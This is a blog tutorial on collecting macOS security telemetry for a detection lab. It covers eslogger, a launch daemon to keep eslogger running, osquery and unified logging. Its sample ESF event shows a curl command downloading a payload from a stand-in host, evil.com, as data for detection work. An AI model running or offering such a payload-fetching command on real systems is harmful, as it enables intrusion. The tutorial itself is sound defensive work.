Building a macOS Detection Engineering Lab — Part 4: Collecting macOS Logs
Now for the fun part — getting telemetry out of your macOS VM. This is where macOS detection engineering has historically been painful, but Apple's Endpoint Security Framework (ESF) has changed the game.
The Logging Landscape
macOS has several logging sources:
| Source | What It Captures | Detection Value |
|---|---|---|
| Unified Logging | Everything (verbose) | Low signal-to-noise |
| ESF (eslogger) | Security-relevant events | High — this is what you want |
| osquery | Point-in-time state + some events | Medium — good for queries |
| Audit logs | System call auditing | Medium — legacy approach |
For detection engineering, ESF via eslogger is the sweet spot.
Endpoint Security Framework (ESF)
ESF is Apple’s modern security telemetry API — think of it as “Sysmon for macOS.” It provides:
- Process events: exec, fork, exit
- File events: create, modify, delete, rename, open
- Network events: connect, bind
- Authentication events: login, sudo, authorization
- And more: mount, iokit, signal, etc.
eslogger (Built-in, macOS 13+)
Starting with macOS Ventura (13), Apple includes eslogger — a command-line tool to stream ESF events:
# Basic usage (requires root)
sudo eslogger exec
# Multiple event types
sudo eslogger exec write create rename unlink
# Output as JSON (recommended for SIEM ingestion)
sudo eslogger exec write create rename --format json
# Stream to a file
sudo eslogger exec write create rename --format json > /var/log/esf_events.json
Event Types Worth Capturing
For detection engineering, focus on these:
sudo eslogger \
exec \ # Process execution
fork \ # Process forking
exit \ # Process exit
open \ # File opens (can be noisy)
write \ # File writes
create \ # File creation
rename \ # File renames
unlink \ # File deletion
link \ # Hard links
setextattr \ # Extended attributes (quarantine flags)
setflags \ # File flags
setmode \ # Permission changes
setowner \ # Ownership changes
signal \ # Signals sent between processes
--format json
Making eslogger Persistent
Create a launch daemon to run eslogger at boot:
sudo tee /Library/LaunchDaemons/com.lab.eslogger.plist << 'EOF'
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>Label</key>
<string>com.lab.eslogger</string>
<key>ProgramArguments</key>
<array>
<string>/usr/bin/eslogger</string>
<string>exec</string>
<string>fork</string>
<string>write</string>
<string>create</string>
<string>rename</string>
<string>unlink</string>
<string>--format</string>
<string>json</string>
</array>
<key>RunAtLoad</key>
<true/>
<key>KeepAlive</key>
<true/>
<key>StandardOutPath</key>
<string>/var/log/esf_events.json</string>
<key>StandardErrorPath</key>
<string>/var/log/esf_errors.log</string>
</dict>
</plist>
EOF
# Load the daemon
sudo launchctl load /Library/LaunchDaemons/com.lab.eslogger.plist
osquery (Cross-Platform SQL Interface)
osquery provides a SQL interface to query system state and some events:
# Install
brew install osquery
# Interactive mode
osqueryi
# Query running processes
> SELECT pid, name, path, cmdline FROM processes WHERE name LIKE '%curl%';
# Query listening ports
> SELECT * FROM listening_ports;
# Query login history
> SELECT * FROM last;
Event Tables (Daemon Mode)
osquery can also capture events when running as a daemon:
# Start daemon
sudo osqueryctl start
# Configure in /var/osquery/osquery.conf
Relevant event tables:
process_events— Process executionfile_events— File changes (requires FIM config)socket_events— Network connectionsuser_events— User logins
osquery is great for incident response queries but less complete than ESF for real-time detection.
Native Unified Logging
macOS’s unified logging captures everything, which makes it noisy but comprehensive:
# Process execution (via execpolicy)
log show --predicate 'subsystem == "com.apple.execpolicy"' --last 1h
# Authorization events
log show --predicate 'subsystem == "com.apple.Authorization"' --last 1h
# File quarantine (downloads)
log show --predicate 'subsystem == "com.apple.LaunchServices"' --last 1h
# Network connections
log show --predicate 'subsystem == "com.apple.networkd"' --last 1h
# Stream live
log stream --predicate 'subsystem == "com.apple.execpolicy"'
Unified logging is useful for deep-dive investigations but too verbose for continuous monitoring.
Sample ESF Event
Here’s what an exec event looks like in JSON:
{
"event_type": "ES_EVENT_TYPE_NOTIFY_EXEC",
"process": {
"pid": 12345,
"ppid": 1234,
"executable": {
"path": "/usr/bin/curl"
},
"arguments": ["curl", "-O", "http://evil.com/payload.sh"],
"signing_id": "com.apple.curl",
"team_id": "",
"is_platform_binary": true
},
"timestamp": "2026-01-30T15:30:00.000Z"
}
This structured JSON is perfect for SIEM ingestion and detection logic.
Recommendation
For a detection lab, run eslogger with key event types:
sudo eslogger exec fork write create rename unlink signal --format json > /var/log/esf_events.json
Then ship /var/log/esf_events.json to Splunk (covered in Part 5).
Next Steps
You’ve got telemetry flowing. Now let’s set up somewhere to send it and build detections.
Next: Part 5 — Splunk Attack Range & Detection Workflow →